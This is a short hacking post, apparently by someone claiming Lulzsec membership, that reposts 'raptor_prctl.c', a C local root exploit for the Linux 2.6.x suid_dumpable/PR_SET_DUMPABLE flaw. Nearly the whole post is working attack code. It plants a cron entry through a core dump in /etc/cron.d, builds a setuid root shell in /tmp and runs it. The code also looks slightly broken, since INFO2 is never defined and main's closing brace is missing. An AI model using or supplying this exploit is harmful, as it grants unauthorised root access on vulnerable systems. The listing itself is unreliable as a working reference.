Linux Kernal 2.6.X Vulnerability

After i found this vuln IN my scan, WITH another member from Lulzsec, apparently someone found it before me, a guy named raptor. BIG props to him, he CAN find vulns deep inside Linux!
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1   "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void)
{
    int         pid, i;
    struct rlimit   corelimit;
    struct stat st;
    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
    /* prepare the setuid() helper */
    system(pwnage);
    /* set core size to unlimited */
    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);
    /* let's do the PR_SET_DUMPABLE magic */
    if (!(pid = fork())) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(666);
        exit(1);
    }
    kill(pid, SIGSEGV);
    /* did it work? */
    sleep(3);
    if (stat("/etc/cron.d/core", &st) < 0) {
        fprintf(stderr, "Error: Not vulnerable? See comments.\n");
        exit(1);
    }
    fprintf(stderr, "Ready to uncork the champagne? ");
    fprintf(stderr, "Please wait a couple of minutes;)\n");
    /* wait for crond to execute our evil entry */
    for (i = 0; i < 124; i += 2) {
        if (stat("/tmp/pwned", &st) < 0) {
            fprintf(stderr, "\nError: Check /tmp/pwned!\n");
            exit(1);
        }
        if (st.st_uid == 0)
            break;
        fprintf(stderr, ".");
        sleep(2);
    }
    /* timeout reached? */
    if (i > 120) {
        fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
        exit(1);
    }
    /* total pwnage */
    fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
    system("/tmp/pwned");
    exit(0);